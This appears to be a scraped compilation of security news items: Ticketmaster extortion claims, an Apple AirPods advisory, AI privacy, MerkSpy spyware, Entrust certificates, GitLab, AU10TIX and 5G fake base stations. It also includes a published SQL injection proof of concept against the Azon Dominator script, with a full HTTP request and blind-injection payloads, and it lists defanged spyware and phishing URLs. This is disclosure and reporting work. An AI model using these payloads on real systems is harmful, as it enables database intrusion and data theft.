Plus: Researchers uncover a new way to expose CSAM peddlers, OpenAI suffered a secret cyberattack, cryptocurrency thefts jump in 2024, and Twilio confirms hackers stole 33 million phone numbers.

Proton, the company behind Proton Mail, launched an end-to-end encrypted alternative to Google Docs, seeking to compete with the cloud giant on privacy. We broke down how Apple is taking a similar approach with its implementation of AI, using a system it calls Private Cloud Compute in its new Apple Intelligence features.

In other news, we dug into how the US bans on TikTok and Kaspersky software, despite their national security justifications, pose a threat to internet freedom. We went inside a crash course for US diplomats on cybersecurity, privacy, surveillance, and other digital threats. And we published an in-depth investigation into the origins of the world’s most popular 3D-printed gun, which revealed that its creator was a self-described “incel” with fantasies of right-wing terror.

But that’s not all. Each week, we round up the security news we didn’t cover in depth ourselves. Click the headlines to read the full stories, and stay safe out there.

The giant hack against Ticketmaster may have taken another twist. In June, criminal hackers claimed they had stolen 560 million people’s information from the ticketing company owned by Live Nation. The company has since confirmed a breach, saying its information was taken from its Snowflake account. (More than 165 Snowflake customers were impacted by attacks on the cloud storage company that exploited a lack of multi-factor authentication and stolen login details).

Now in a post on cybercrime marketplace BreachForums, a hacker going by the name of Sp1d3rHunters is threatening to publish more data from Ticketmaster. The account claims to be sharing 170,000 ticket barcodes for upcoming Taylor Swift gigs in the US during October and November. The hacker demanded Ticketmaster “pay us $2million USD” or it will leak “680 million” users’ information and publish millions more event barcodes, including for concerts by artists such as Pink and Sting, and sporting events such as NFL games and F1 races.

The claims appear to be dubious, however, as Ticketmaster's barcodes aren't static, according to the company. “Ticketmaster’s SafeTix technology protects tickets by automatically refreshing a new and unique barcode every few seconds so it cannot be stolen or copied,” a Ticketmaster spokesperson tells WIRED in a statement. The spokesperson adds that the company has not paid any ransom or engaged with the hackers’ demands.

Hacker groups are known to lie, exaggerate, and overinflate their claims as they try to get victims to pay. The 680 million customers that Sp1d3rHunters claimed to have data on is higher than the original figure provided when the Ticketmaster breach was first claimed, and neither number has been confirmed. Even if victims do decide to pay, hackers can still keep the data and try to extort companies for a second time.

Despite the breach at Ticketmaster originally being publicized in June, the company has only recently begun emailing customers alerting them to the incident, which happened between April 2 and May 18 this year. The company says the database accessed may include emails, phone numbers, encrypted credit card information, and other personal information.

**Stolen Login Details Can Unmask Child Abuse Viewers, Researchers Say**

In recent years, there’s been a sharp uptick in cybercriminals deploying infostealers. This malware can grab all of the login and financial details that someone enters on their machine, which hackers then sell to others who want to exploit the information.

Cybersecurity researchers at Recorded Future have now published proof-of-concept findings showing these stolen login details can be used to potentially track down people visiting dark-web child sexual abuse material (CSAM) sites. Within infostealer logs, the researchers say they were able to find thousands of login details for known CSAM websites, which they could then cross-reference with other details and identify the potential real-world names connected to the abusive website logins. The researchers reported details of individuals to law enforcement.

Hackers Leaking Taylor Swift Tickets? Don’t Get Your Hopes Up

308 different models of Sharp Multi-Function Printers (MFP) are vulnerable to 18 different vulnerabilities including remote code execution, local file inclusion, credential disclosure, and more.

Sharp Multi-Function Printer 18 Vulnerabilities

Apple Security Advisory 06-25-2024-1 - AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8 address a spoofing vulnerability.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPodsFirmware Update 6F8, and Beats Firmware Update 6F8AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, andBeats Firmware Update 6F8 addresses the following issues.Information about the security content is also available athttps://support.apple.com/HT214111.Apple maintains a Security Releases page athttps://support.apple.com/HT201222 which lists recentsoftware updates with security advisories.BluetoothAvailable for: AirPods (2nd generation and later), AirPods Pro (allmodels), AirPods Max, Powerbeats Pro, and Beats Fit ProImpact: When your headphones are seeking a connection request to oneof your previously paired devices, an attacker in Bluetooth rangemight be able to spoof the intended source device and gain accessto your headphonesDescription: An authentication issue was addressed with improvedstate management.CVE-2024-27867: Jonas DreßlerFirmware updates are automatically delivered while your headphonesare paired with and in Bluetooth range of your iPhone, iPad, or Mac. You can check the firmware version of your wireless headphones inBluetooth settings on your device. On iPhone or iPad, go toSettings > Bluetooth. On Mac, go to System Settings > Bluetooth.Then tap the info button next to your headphones. Learn more about firmware updates for AirPods athttps://support.apple.com/106340Learn more about firmware updates for Beats athttps://support.apple.com/102368All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmZ7kCwACgkQX+5d1TXaIvqORhAAsEgfOmEzguP2GofB8A1mvP7Mz8qwG8vVhlmc3Z7XhH0yQegpN13aQ9g3kEsu5KAeUJuId8sSgLwVZlNfLD/UVhR4xRdNQaJ5gVs0HydPUxr95tU2zAMQz/1wdJvST6tBcd0mEw9Rsqh4L8YATkuicy2Rctc8aKcXoqKLDop3J1H7/htv6t8vPtgwr59IyfzGWKuiNSeOArWwtbv2pbi6angogTJ3a8NwDBFzLg4stqCnAqgzIeBO32Tm+JwSknrElCRzcACQmcGDEElaI6A3ZFA6lP78gCXtW48dosHv/SC9J9TXOLK5JIWCWNHjFr+R/8w4ZoPYs0JJ/KlP2o++wEA8ew4cd7JTIIpV8oMRkHfJUzgRnkSM+5s8ZKULVvinzrBn5BnINXhYcWNms4hHgUGuFqTeNWRrVpy3vDKidFFFZh0c4bbbWaIKRFDmZop4NpucgoOka9h+dbrm8/LLTd0KK+IF0dfFArn+zo5UbeDu3dao38pP6qwO6U+1lFco5HodFzLAmECbIlE6VPUfwPHDoB+BApuehkka/qB2gZFIm4qIGRSzrQgQ3OGyI/RqUKfHigTxrxo1GUtXeTnLLbhIfPv9MvMwgvgRqt36liMYvksl+I17mWdRiNihwvsfpV6VliBCQm05nPJkp25g0h8j+aZfg0IdXFgzYMq7PmI==DvD4-----END PGP SIGNATURE-----

Apple Security Advisory 06-25-2024-1

Generative AI is seeping into the core of your phone, but what does that mean for privacy? Here’s how Apple’s unique AI architecture compares to the “hybrid” approach adopted by Samsung and Google.

Yet Google and its hardware partners argue privacy and security are a major focus of the Android AI approach. VP Justin Choi, head of the security team, mobile eXperience business at Samsung Electronics, says its hybrid AI offers users “control over their data and uncompromising privacy.”

Choi describes how features processed in the cloud are protected by servers governed by strict policies. “Our on-device AI features provide another element of security by performing tasks locally on the device with no reliance on cloud servers, neither storing data on the device nor uploading it to the cloud,” Choi says.

Google says its data centers are designed with robust security measures, including physical security, access controls, and data encryption. When processing AI requests in the cloud, the company says, data stays within secure Google data center architecture and the firm is not sending your information to third parties.

Meanwhile, Galaxy’s AI engines are not trained with user data from on-device features, says Choi. Samsung “clearly indicates” which AI functions run on the device with its Galaxy AI symbol, and the smartphone maker adds a watermark to show when content has used generative AI.

The firm has also introduced a new security and privacy option called Advanced Intelligence settings to give users the choice to disable cloud-based AI capabilities.

Google says it “has a long history of protecting user data privacy,” adding that this applies to its AI features powered on-device and in the cloud. “We utilize on-device models, where data never leaves the phone, for sensitive cases such as screening phone calls,” Suzanne Frey, vice president of product trust at Google, tells WIRED.

Frey describes how Google products rely on its cloud-based models, which she says ensures “consumer's information, like sensitive information that you want to summarize, is never sent to a third party for processing.”

“We’ve remained committed to building AI-powered features that people can trust because they are secure by default and private by design, and most importantly, follow Google’s responsible AI principles that were first to be championed in the industry,” Frey says.

**Apple Changes the Conversation**

Rather than simply matching the “hybrid” approach to data processing, experts say Apple’s AI strategy has changed the nature of the conversation. “Everyone expected this on-device, privacy-first push, but what Apple actually did was say, it doesn’t matter what you do in AI—or where—it’s how you do it,” Doffman says. He thinks this “will likely define best practice across the smartphone AI space.”

Even so, Apple hasn’t won the AI privacy battle just yet: The deal with OpenAI—which sees Apple uncharacteristically opening up its iOS ecosystem to an outside vendor—could put a dent in its privacy claims.

Apple refutes Musk’s claims that the OpenAI partnership compromises iPhone security, with “privacy protections built in for users who access ChatGPT.” The company says you will be asked permission before your query is shared with ChatGPT, while IP addresses are obscured and OpenAI will not store requests—but ChatGPT’s data use policies still apply.

Partnering with another company is a “strange move” for Apple, but the decision “would not have been taken lightly,” says Jake Moore, global cybersecurity adviser at security firm ESET. While the exact privacy implications are not yet clear, he concedes that “some personal data may be collected on both sides and potentially analyzed by OpenAI.”

How Apple Intelligence’s Privacy Stacks Up Against Android’s ‘Hybrid AI’

Unknown threat actors have been observed exploiting a now-patched security flaw in Microsoft MSHTML to deliver a surveillance tool called MerkSpy as part of a campaign primarily targeting users in Canada, India, Poland, and the U.S.
"MerkSpy is designed to clandestinely monitor user activities, capture sensitive information, and establish persistence on compromised systems," Fortinet FortiGuard

Unknown threat actors have been observed exploiting a now-patched security flaw in Microsoft MSHTML to deliver a surveillance tool called **MerkSpy** as part of a campaign primarily targeting users in Canada, India, Poland, and the U.S.

"MerkSpy is designed to clandestinely monitor user activities, capture sensitive information, and establish persistence on compromised systems," Fortinet FortiGuard Labs researcher Cara Lin said in a report published last week.

The starting point of the attack chain is a Microsoft Word document that ostensibly contains a job description for a software engineer role.

But opening the file triggers the exploitation of CVE-2021-40444, a high-severity flaw in MSHTML that could result in remote code execution without requiring any user interaction. It was addressed by Microsoft as part of Patch Tuesday updates released in September 2021.

In this case, it paves the way for the download of an HTML file ("olerender.html") from a remote server that, in turn, initiates the execution of an embedded shellcode after checking the operating system version.

"Olerender.html" takes advantage of "'VirtualProtect' to modify memory permissions, allowing the decoded shellcode to be written into memory securely," Lin explained.

"Following this, 'CreateThread' executes the injected shellcode, setting the stage for downloading and executing the next payload from the attacker's server. This process ensures that the malicious code runs seamlessly, facilitating further exploitation."

The shellcode serves as a downloader for a file that's deceptively titled "GoogleUpdate" but, in reality, harbors an injector payload responsible for evading detection by security software and loading MerkSpy into memory.

The spyware establishes persistence on the host through Windows Registry changes such that it's launched automatically upon system startup. It also comes with capabilities to clandestinely capture sensitive information, monitor user activities, and exfiltrate data to external servers under the threat actors' control.

This includes screenshots, keystrokes, login credentials stored in Google Chrome, and data from the MetaMask browser extension. All this information is transmitted to the URL "45.89.53\[.\]46/google/update\[.\]php."

The development comes as Symantec detailed a smishing campaign targeting users in the U.S. with sketchy SMS messages that purport to be from Apple and aim to trick them into clicking on bogus credential harvesting pages ("signin.authen-connexion\[.\]info/icloud") in order to continue using the services.

"The malicious website is accessible from both desktop and mobile browsers," the Broadcom-owned company said. "To add a layer of perceived legitimacy, they have implemented a CAPTCHA that users must complete. After this, users are directed to a webpage that mimics an outdated iCloud login template."

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Microsoft MSHTML Flaw Exploited to Deliver MerkSpy Spyware Tool

Azon Dominator Affiliate Marketing Script suffers from a remote SQL injection vulnerability.

    # Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection# Date: 2024-06-03# Exploit Author: Buğra Enis Dönmez# Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script# Demo Site: https://azon-dominator.webister.net/# Tested on: Arch Linux# CVE: N/A### Request ###POST /fetch_products.php HTTP/1.1Content-Type: application/x-www-form-urlencodedAccept: */*x-requested-with: XMLHttpRequestReferer: https://localhost/Cookie: PHPSESSID=crlcn84lfvpe8c3732rgj3gegg; sc_is_visitor_unique=rx12928762.1717438191.4D4FA5E53F654F9150285A1CA42E7E22.8.8.8.8.8.8.8.8.8Content-Length: 79Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: localhostConnection: Keep-alivecid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112###### Parameter & Payloads ###Parameter: cid (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: cid=1) AND 7735=7735 AND (5267=5267    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: cid=1) AND (SELECT 7626 FROM (SELECT(SLEEP(5)))yOxS) AND (8442=8442###

Azon Dominator Affiliate Marketing Script SQL Injection

Google has announced that it's going to start blocking websites that use certificates from Entrust starting around November 1, 2024, in its Chrome browser, citing compliance failures and the certificate authority's inability to address security issues in a timely manner.
"Over the past several years, publicly disclosed incident reports highlighted a pattern of concerning behaviors by Entrust

Cybersecurity / Website Security

Google has announced that it's going to start blocking websites that use certificates from Entrust starting around November 1, 2024, in its Chrome browser, citing compliance failures and the certificate authority's inability to address security issues in a timely manner.

"Over the past several years, publicly disclosed incident reports highlighted a pattern of concerning behaviors by Entrust that fall short of the above expectations, and has eroded confidence in their competence, reliability, and integrity as a publicly-trusted \[certificate authority\] owner," Google's Chrome security team said.

To that end, the tech giant said it intends to no longer trust TLS server authentication certificates from Entrust starting with Chrome browser versions 127 and higher by default. However, it said that these settings can be overridden by Chrome users and enterprise customers should they wish to do so.

Google further noted that certificate authorities play a privileged and trusted role in ensuring encrypted connections between browsers and websites, and that Entrust's lack of progress when it comes to publicly disclosed incident reports and unrealized improvement commitments poses risks to the internet ecosystem.

The blocking action is expected to cover Windows, macOS, ChromeOS, Android, and Linux versions of the browser. The notable exception is Chrome for iOS and iPadOS, due to Apple's policies that don't permit the Chrome Root Store from being used.

As a result, users navigating to a website that serves a certificate issued by Entrust or AffirmTrust will be greeted by an interstitial message that warns them that their connection is not secure and isn't private.

Affected website operators are urged to move to a publicly-trusted certificate authority owner to minimize disruption by October 31, 2024. According to Entrust's website, its solutions are used by Microsoft, Mastercard, VISA, and VMware, among others.

"While website operators could delay the impact of blocking action by choosing to collect and install a new TLS certificate issued from Entrust before Chrome's blocking action begins on November 1, 2024, website operators will inevitably need to collect and install a new TLS certificate from one of the many other CAs included in the Chrome Root Store," Google said.

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Google to Block Entrust Certificates in Chrome Starting November 2024

The company is urging users running vulnerable versions to patch CVE-2024-5655 immediately, to avoid CI/CD malfeasance.

Source: Bill Crump via Alamy Stock Photo

A critical GitLab vulnerability could allow an attacker to run a pipeline as another user.

GitLab is a popular Git repository, second only to GitHub, with millions of active users. This week, it released new versions of its Community (open source) and Enterprise Editions.

The updates include fixes for 14 different security issues, including cross site request forgery (CSRF), cross site scripting (XSS), denial of service (DoS), and more. One of the issues is deemed of low severity according to the Common Vulnerability Scoring System (CVSS), nine are of medium severity, and three are high — but there's also one critical bug with a CVSS score of 9.6 out of 10.

**CVE-2024-5655 Offers Critical Threat to Code Development**

That critical one, CVE-2024-5655, affects GitLab versions starting from 15.8 prior to 16.11.5, starting from 17.0 prior to 17.0.3, and starting from 17.1 prior to 17.1.1, according to the company. It enables an attacker to trigger a pipeline as another user, but only under circumstances which GitLab did not elaborate on (nor did it provide any other information about the vulnerability).

A pipeline automates the process of building, testing, and deploying code in GitLab. Theoretically, an attacker with the ability to run pipelines as other users can access their private repositories, and manipulate, steal, or exfiltrate sensitive code and data contained therein.

Unlike with CVE-2023-7028 — a 10 out of 10 account takeover bug known to have been exploited earlier this Spring — GitLab has thus far found no evidence of CVE-2024-5655 exploits in the wild. Though, that could quickly change.

**A Compliance Issue, Not Just Security**

 Issues rooted deep in the development process like CVE-2024-5655 can sometimes cause headaches beyond the simple risk they pose on paper.

"In a worst-case scenario, this vulnerability doesn't even have to be exploited to cost companies money in lost revenue," says Jamie Boote, associate principal consultant at Synopsys Software Integrity Group. The mere fact that a software or software-driven product was built using a vulnerable version of GitLab could itself be cause for concern.

"Pipeline vulnerabilities like this can not only pose a security risk but a regulatory and compliance risk as well. As US companies are working towards compliance with the Self-Attestation Form requirements that they need to meet to sell software and products to the US Government, not addressing this vulnerability could lead to a compliance gap which could put sales and contracts at risk," he explains. In particular, he points to line item 1c in Section III of the US Department of Commerce's Secure Software Development Attestation Form Instructions, which requires "Enforcing multi-factor authentication and conditional access across the environments relevant to developing and building software in a manner that minimizes security risk."

"Compliance with item 1c is in jeopardy for companies who don't address this vulnerability as an exploit would allow attackers to bypass those conditional access controls that companies are relying on for compliance," he concludes.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Critical GitLab Bug Threatens Software Development Pipelines

With many popular apps, users must hand over personal information to prove their identity, and the big downside is they have no control over how that information gets processed and stored.

Source: Pamela Au via Alamy Stock Photo

Swaths of personal data and documents belonging to users of the world's most popular apps have been exposed online for well over a year now, and may have leaked to cybercriminals a while ago.

The company responsible for the leak, AU10TIX, is based in a suburb of Tel Aviv and specializes in identity verification via personal documents, biometrics, and more. Its customers include major companies like X, TikTok, LinkedIn, Coinbase, eToro, PayPal, Fiverr, Upwork, Bumble, Uber, and others.

Recently, a security researcher discovered exposed credentials that belonged to a network operations center manager at AU10TIX. They included the manager's passwords and tokens for various accounts, including an AU10TIX logging platform, where the company handled data belonging to individuals whose identities it had vetted.

**The Extent of the Damage**

The logging platform data included names, birth dates, nationalities, and images of ID documents such as driver licenses and passports.

Though the researcher limited his snooping, some data fields appeared to indicate the nature and purpose of the stored data, such as a chart with values such as "Impersonation\_XCorp" and "uber-carshare-passport."

He also found proprietary data from the innards of the company's verification tech. One table, for example, contained results of live face scans, with a field rating the "probability" that the user's face was "live" on a scale from 0 to 1. Others measured the authenticity of documents and photos of faces.

Crucially, the exposed credentials seem to have been sucked up by malware back in December 2022, and posted to Telegram in March 2023.

In statements to 404media, AU10TIX initially claimed that "a thorough investigation determined that employee credentials were illegally accessed then and were promptly rescinded." When the publication informed the vendor that the credentials were still exposed online as of this month, 18 months after the fact, the company said it would work to take down the exposed logging system. It also claimed to have notified affected customers, and highlighted that "based on our current findings, we see no evidence that such data has been exploited."

**The Catch-22 for App Users**

Customers today are faced with an unfortunate choice (if it can even be considered a choice). Whether it be a cryptocurrency or payments, social media or dating, in order to use popular apps today, you often must hand over extra-sensitive information and documents that prove your identity. At the same time, you don't have any control over how that information and those documents are processed and stored.

Is there no way to achieve app security without a cost to personal security?

"Companies can adopt several methods for verifying identities that minimize the need to store sensitive documents and personally identifiable information," says Jason Soroko, senior vice president of product at Sectigo. "One approach is tokenization, which involves storing tokens or hashed values representing the documents instead of the actual documents. This reduces the risk in case the storage system is compromised."

"Another method uses zero-knowledge proofs, a cryptographic technique that allows one party to prove to another that they know a value without conveying any information beyond the fact that they know the value. "This can verify identity without exposing the actual data," Soroko explains. "Additionally, decentralized identity verification leverages blockchain technology, enabling users to control their identity information and share only the necessary parts with services that require verification, thereby enhancing privacy and security.

"These methods, while enhancing security and privacy, require careful implementation and ongoing management to avoid introducing new vulnerabilities."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Authenticator for X, TikTok Exposes Personal User Info for 18 Months

Wireless service providers prioritize uptime and lag time, occasionally at the cost of security, allowing attackers to take advantage, steal data, and worse.

Source: peter galleghan via Alamy Stock Photo

Mobile devices are at risk of wanton data theft and denial of service, thanks to vulnerabilities in 5G technologies.

At the upcoming Black Hat 2024 in Las Vegas, a team of seven Penn State University researchers will describe how hackers can go beyond sniffing your Internet traffic by literally providing your Internet connection to you. From there, spying, phishing, and plenty more are all on the table.

It's a remarkably accessible form of attack, they say, involving commonly overlooked vulnerabilities and equipment you can buy online for a couple of hundred dollars.

**Step 1: Set Up a Fake Base Station**

When a device first attempts to connect with a mobile network base station, the two undergo an authentication and key agreement (AKA). The device sends a registration request, and the station replies with requests for authentication and security checks.

Though the station vets the phone, the phone does not initially vet the station. Its legitimacy is essentially accepted as a given.

"Base stations advertise their presence in a particular area by broadcasting 'sib1' messages every 20 milliseconds, or 40 milliseconds, and none of those broadcast messages have authentication, or any kind of security mechanisms," explains Penn State assistant professor Syed Rafiul Hussain. "They're just plaintext messages. So there's no way that a phone or a device can check whether it's coming from a fake tower."

Setting up a fake tower isn't as tall a task as it might seem. You just need to mimic a real one using a software-defined radio (SDR). As Kai Tu, another Penn State research assistant points out, "People can purchase them online — they're easy to get. Then you can get some open source software (OSS) to run on it, and this kind of setup can be used as a fake base station." Expensive SDRs might cost tens of thousands of dollars, but cheap ones that get the job done are available for only a few hundred.

It might seem counterintuitive that a small contraption could seduce your phone away from an established commercial tower. But a targeted attack with a nearby SDR could provide even greater 5G signal strength than a tower servicing thousands of other people at the same time. "By their nature, devices try to connect to the best possible cell towers — that is, the ones providing the highest signal strength," Hussain says.

**Step 2: Exploit a Vulnerability**

Like any security process, AKA can be exploited. In the 5G modem integrated in one popular brand of mobile processor, for example, the researchers found a mishandled security header that an attacker could use to bypass the AKA process entirely.

This processor in question is used in the majority of devices manufactured by two of the world's biggest smartphone companies. Dark Reading has agreed to keep its name confidential.

After having attracted a targeted device, an attacker could use this AKA bypass to return a maliciously crafted "registration accept" message and initiate a connection. At this point the attacker becomes the victim's Internet service provider, capable of seeing everything they do on the Web in unencrypted form. They can also engage the victim by, for example, sending a spear phishing SMS message, or redirecting them to malicious sites.

Though AKA bypass was the most severe, the researchers discovered other vulnerabilities that would allow them to determine a device's location, and perform denial of service (DoS).

**How to Secure 5G**

The Penn State researchers have reported all the vulnerabilities they discovered to their respective mobile vendors, which have all since deployed patches.

A more permanent solution, however, would have to begin with securing 5G authentication. As Hussain says, "If you want to ensure the authenticity of these broadcast messages, you need to use public key infrastructure (PKI). And deploying PKI is expensive — you need to update all of the cell towers. And there are some non-technical challenges. For example, who will be the root certificate authority of the public keys?"

It's unlikely that such an overhaul will happen any time soon, as 5G systems were knowingly built to transmit messages in plaintext for specific reasons.

"It's a matter of incentives. Messages are sent in milliseconds, so if you incorporate some kind of cryptographic mechanism, it will increase the computational overhead for the cell tower and for the user device. Computational overhead is also associated with time, so performance-wise it will be a bit slower," Hussain explains.

Perhaps the performance incentives outweigh security ones. But whether it be via a fake cell tower, Stingray device, or any other means, "They all exploit this feature — the lack of authentication of the initial broadcast messages from the cell towers."

"This is the root of all evil," Hussain adds.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

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